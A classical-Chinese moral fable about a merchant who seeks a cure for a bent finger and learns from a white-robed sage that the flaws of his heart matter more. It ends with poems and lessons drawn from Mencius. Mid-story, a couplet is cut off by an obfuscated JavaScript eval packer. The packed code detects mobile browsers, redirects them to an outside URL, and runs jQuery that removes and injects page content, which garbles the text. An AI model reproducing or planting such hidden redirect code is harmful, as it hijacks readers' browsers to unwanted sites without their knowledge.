楔子屈指记


    大燕景隆四年，青州有富商姓金，名如玉，家财万贯，然右手无名指微屈，不能伸直。为此遍访名医，自幽州至交趾，三载不辍。有医者云：“此指屈而不伸，于饮食起居无碍，何苦奔波？”金如玉怫然：“指不若人，吾深恶之！便赴天涯海角，亦要治之。”


    是岁秋，闻西陲有神医，擅正骨，金如玉携重金往求。途经云梦泽，遇暴雨，避入荒庙。庙中有数乞儿围火取暖，见金翁锦袍玉带，纷纷侧目。


    金翁嫌其污秽，远坐廊下，自怀中取出丝帕，反复擦拭屈指，长吁短叹。


    忽闻佛龛后有人诵：


    “指不若人则知恶，心不若人竟不觉。


    可叹世上金如玉，秦楚路远为指拙。”


    金翁惊起：“何人？”


    但见一白衣人自梁上飘落，斗笠面纱，背负木剑，襟袂飘飘，不沾尘埃。


    一、 屈指与屈心


    金如玉打量来人，蹙眉道：“阁下适才所言，是讥老朽乎？”


    白衣人倚柱而立：“不敢。只是想起孟子一言：‘今有无名之指屈而不信，非疾痛害事也，如有能信之者，则不远秦楚之路，为指之不若人也。’今见翁为屈指奔波万里，正合此境。”


    金如玉傲然：“爱美恶丑，人之常情。此指虽不碍事，然宴饮之间，宾客观之，多有窃议。老夫千金之躯，岂容微瑕？”


    “善哉！”白衣人拊掌，“翁恶指之不若人，不惜跋涉。然则——”话锋一转，“若心不若人，翁亦知恶乎？”


    金如玉一怔：“心…心如何不若人？”


    白衣人踱至火堆旁，指一老乞儿：“此老丈今年六十有二，三日前拾得钱袋，内藏纹银五十两，苦候失主整日，终全璧归还。翁可能为？”


    金如玉面颊微抽：“这…区区五十两…”


    “非关银两，关乎心。”白衣人声朗朗，“孟子曰：‘指不若人，则知恶之；心不若人，则不知恶。此之谓不知类也。’今翁之指，不过形貌微瑕；而翁之心——”他直视金如玉，“可有此老丈之廉？”


    金如玉汗出，强道：“老夫营商，向来公道…”


    “去年腊月，翁贩米至涿州，恰逢雪灾，米价飙涨。翁囤米不售，待价而沽，有贫妇跪求一斗米救垂死幼儿，翁以‘市价’拒之。三日后，妇与子皆冻毙。可有此事？”


    金如玉如遭雷击，连退三步：“你…你怎知…”


    “翁不必问我怎知。”白衣人叹息，“我只问翁：指屈，不过形秽；心屈，乃成德亏。今翁为形秽奔波万里，对德亏却安之若素，此非‘不知类’乎？”


    满庙寂然，唯闻柴火哔剥。众乞儿皆瞪大眼，看这锦衣翁面色由红转白，由白转青。


    老乞儿忽开口：“这位爷，小老儿多嘴一句：指头弯了，别人看见；心弯了，自己知道啊。”


    金如玉浑身一颤，扶柱方能立稳。


    二、 三不若


    白衣人自怀中取出一卷泛黄帛书，就火光展开，上书《孟子》章句。他指“心不若人”四字：


    “今我为翁说‘三不若’，翁可自省。”


    “一不若：廉。” 白衣人指老乞儿，“此老拾金不昧，翁可能及？”


    金如玉垂首。


    “二不若：仁。” 白衣人指一少年乞儿，“此子前日分半块饼与垂死野犬，翁见饥民，可肯分半碗粥？”


    金如玉冷汗涔涔。


    “三不若：义。” 白衣人指庙外雨幕，“此番西行，翁车马仆从数十人，有老仆病重，翁嫌拖累，弃之于野店，可曾遣人照料？”


    金如玉扑通跪地，以袖掩面：“别…别说了…”


    白衣人收帛，温言：“非我刻薄，是翁不自知耳。指不若人，一目了然，故翁深恶；心不若人，隐而不显，故翁不察。此正是孟子所叹‘不知类’——不知轻重类比，不辨本末缓急。”


    此时庙外雨歇，新月破云。白衣人推开破门，月光洒入，照见金如玉涕泪纵横。


    “翁且看，”白衣人引金翁至檐下，指其影，“此影有屈指否？”


    金如玉茫然摇头。


    “是了。形骸之瑕，影中不显；心性之亏，却刻于魂神，昼夜相随。翁恶形瑕而忘神亏，岂非舍本逐末？”


    金如玉终于崩溃，伏地大哭：“先生…先生教我！我这心…该如何治？”


    白衣人扶起他：“指屈，求医可治；心屈，求己可医。翁愿治心否？”


    “愿！万死愿！”


    三、 治心方


    白衣人不语，走至庙中残破的土灶前，以木枝书地，开出一“方”：


    “治心方


    君药：忏悔一味，剂量：至诚


    臣药：改过三斤，须实心实意


    佐药：行善五车，莫问前程


    使药：静坐半生，常观此心


    忌：饰非、文过、自欺


    宜：知耻、勇猛、持久”


    书毕，道：“此方无价，然难在持久。翁可能持？”


    金如玉凝视药方，忽然撩袍，对众乞儿深深一揖：“金某往日为富不仁，今日在各位面前立誓：自此洗心革面，若再亏心，天地不容！”


    老乞儿慌忙扶起：“使不得！金翁快快请起。”


    白衣人颔首：“誓言易发，践行难持。翁且从眼前起——”他指庙中漏处，“此庙破败，翁可愿修葺？”


    “愿！”


    “此数位乞儿，翁可愿安置？”


    “愿！”


    “涿州冻毙母子，翁可愿补偿？”


    金如玉一怔，随即道：“我…我亲往涿州，寻其家人，养老送终！”


    白衣人这才露笑：“善。然翁且记：此行非为赎罪求安，是真心悔过。若存‘将功补过’之心，便是以善行饰旧恶，如以香粉掩腐疮，终会溃烂。”


    金如玉肃然：“谨受教。”


    是夜，金如玉与乞儿们同宿破庙，分食干粮。次日，遣散大半仆从，只留三辆马车，载乞儿们同返青州。临行前，他伸出屈指，对白衣人道：“此指…”


    白衣人执其手，轻轻一捋。说也奇，那屈了数十年的无名指，竟“嗒”一声轻响，缓缓伸直了。


    金如玉目瞪口呆。


    “指本无恙，是翁心结作祟。”白衣人微笑，“心结既解，指自伸。然翁需谨记：此指可伸，是因翁愿治心。若他日心又屈了，只怕指亦会再屈。”


    金如玉拜谢：“某必以心为鉴，不敢再屈！”


    车马远去。白衣人独立荒庙前，忽闻身后有声：“先生真乃神人。”


    却是那老乞儿未走，跪地叩首。


    白衣人扶起：“老丈请起。您前日拾金不昧，便是心不屈。心不屈，虽衣不蔽体，亦是顶天立地。”


    老乞儿泪涌：“小老儿…小老儿只是不忍…”


    “不忍，便是仁心。”白衣人正色，“孟子之教，不过唤醒此‘不忍’之心。世人多如金翁，重形轻心。愿老丈永保此心。”


    言罢，踏草而去，歌曰：


    “指屈不过形骸病，


    心屈才是膏肓疾。


    秦楚奔波治指拙，


    何曾回光问心亏？


    但得知耻即良药，


    不必远求扁鹊医。


    心若堂堂指自直，


    青天明月两不欺。”


    歌声渐杳，老乞儿独立良久，忽觉胸中暖意盎然。


    四、 伸直录


    金如玉归青州，果修葺荒庙，取名“醒心庙”。安置众乞儿，有愿归乡者赠银，愿留者予业。又亲赴涿州，苦寻三月，找到冻毙妇人之父，奉养如亲。更散家财之半，设“润心堂”，专济贫苦，立规“不问来历，不索回报”。


    青州人初疑其伪，日久见其诚，皆叹“金翁脱胎换骨”。


    景隆六年春，有游方郎中过青州，闻金翁旧疾，特来拜会。见金翁手，讶道：“翁指曾屈，今何以伸？”


    金翁笑而不答，示以“治心方”。郎中大悟，拜曰：“此方胜我金针，可治天下屈心人。”


    是年旱，米价又涨。昔日米商皆囤积，独金如玉开仓平价，更设粥棚。有旧友讽：“兄台矫枉过正。”金翁正色：“非矫饰，是真心。昔日心屈，今日求伸而已。”


    至秋，润心堂前聚乞儿数十，皆愿务工自食。金翁设“直心工坊”，教以技艺。一少年学得木工，为金翁雕一手像，五指皆直，掌托“心”字。


    金翁悬像于堂，题曰：


    “指屈易见，心屈难知。


    但得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088189|195403||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    心直，指屈何辞？”


    白衣人曾言“心若屈，指或再屈”，然金如玉持心甚坚，其指竟再未屈过。郎中奇之，问其故，金翁曰：“心在腔中，如舵在船。舵正则船直，心正则形端。我每日自问：心可屈否？既不屈，指何屈？”


    景隆九年，金翁无疾而终。临终召子孙曰：“我生五十九年，前五十年为屈指活，后九年为伸心活。指屈不过损貌，心屈实乃损德。你等谨记：但求心直，莫问形曲。”


    出殡日，青州百姓夹道送行。昔年庙中老乞儿，今为润心堂主事，率众跪哭：“公心已直，可对天日。”


    忽有白衣人现于送葬队尾，投一白菊于棺，悄然而去。童子见之，指呼：“白衣先生！”众回顾，唯见纸钱飞舞，杳无人踪。


    尾声直心碑


    金翁葬后，乡人于醒心庙前立“直心碑”，刻孟子“屈指”章句。碑阴有金翁遗训：


    “余少时重形轻德，为屈指奔波万里，不知心屈之甚。幸遇白衣先生，以孟子之言棒喝，始知本末倒置。


    归而自省，忏悔改过，十年乃得心安。今立此碑，警我后人及见者：指不若人，不过形陋；心不若人，实为德衰。


    形陋可见，德衰难知。故当时时拂拭此心，莫使屈而不伸。心直，则形曲何妨？心屈，则形直亦丑。”


    碑成，常有父母携顽童来，抚碑问：“儿可能见心中屈直？”童茫然。父母曰：“见你指上泥乎？心屈如指染泥，初不觉，久成垢。当勤洗拭。”


    后十年，有贪官过青州，见碑文，嗤之以鼻。夜梦金翁来，执其手曰：“君心屈矣。”贪官惊醒，扪心汗出，次日辞官归乡。人问其故，曰：“恐心屈不可治。”


    又十年，有富贾骄横，辱骂佃户。佃户不争，但引至碑前，指“心不若人”四字。富贾观之，默然良久，竟向佃户揖谢。自此改行善事，人问之，曰：“彼佃户心直，我心曲，实不若人。”


    大燕仁和三年，青州大疫，润心堂施药，活人无算。有染疫者拒药，曰：“我命贱，不费公药。”主事正色：“心无贵贱，但论曲直。君心直，当活。”疫者泣受。


    自此，青州有谚：“指屈可医，心屈无治。”小儿斗口，辄言：“你心屈！”对方必惭。


    而醒心庙香火不绝，非求神佛，乃为“醒心”。每至朔望，士民聚于直心碑前，互问：“君心可直？”答曰：“勉力为之。”


    有游方僧至此，见碑下常有清水一钵，花瓣数片，问何意。守庙童子曰：“心镜蒙尘，以水拭之；心田枯槁，以花润之。”


    僧叹：“但得此心常直，何须远拜西天？”


    掬水饮之，甘冽入心。


    本章诫世


    一、 形心之辨


    - 世人重形貌瑕疵，轻心性亏缺，是本末倒置


    - 破解法：见人形陋莫讥，见己心屈当惕


    - 示例：金如玉为屈指奔波万里，对亏心害命安之若素


    二、 不若之悲


    - 指不若人则知恶，心不若人竟不知，是人性迷障


    - 惕世：多少人在修饰皮囊，却任心性蒙尘？多少人对镜贴花，不敢对心自照？


    - 反思：可曾为衣冠不整而恼，却对言行有亏坦然？


    三、 治心之方


    - 心屈非不治，需忏悔、改过、行善、自省


    - 深层隐喻：教育当教人治心，非只治标


    - 终极指向：心直则形端，心屈则形胜何益


    屈指偈：


    景隆四年秋雨绵，金翁为指走秦川。


    白衣庙中指心屈，乞儿火畔显廉坚。


    指屈易见求万里，心屈难知竟晏然。


    至今直心碑下水，犹照行人省媸妍。


    后世叹：


    大燕青州金氏翁，屈指求医西复东。


    白衣说破形心辨，乞儿彰显廉耻风。


    指不若人知厌恶，心输仁义竟盲聋。


    幸得回光返照处，直心碑下悟穷通。


    正是：


    富商屈指走天涯，心屈浑然不自嗟。


    幸有白衣明镜语，能教愚顽醒眼瞎。


    指拙可求扁鹊术，心亏须用己身砭。


    至今醒心庙前月，犹照人间正与斜。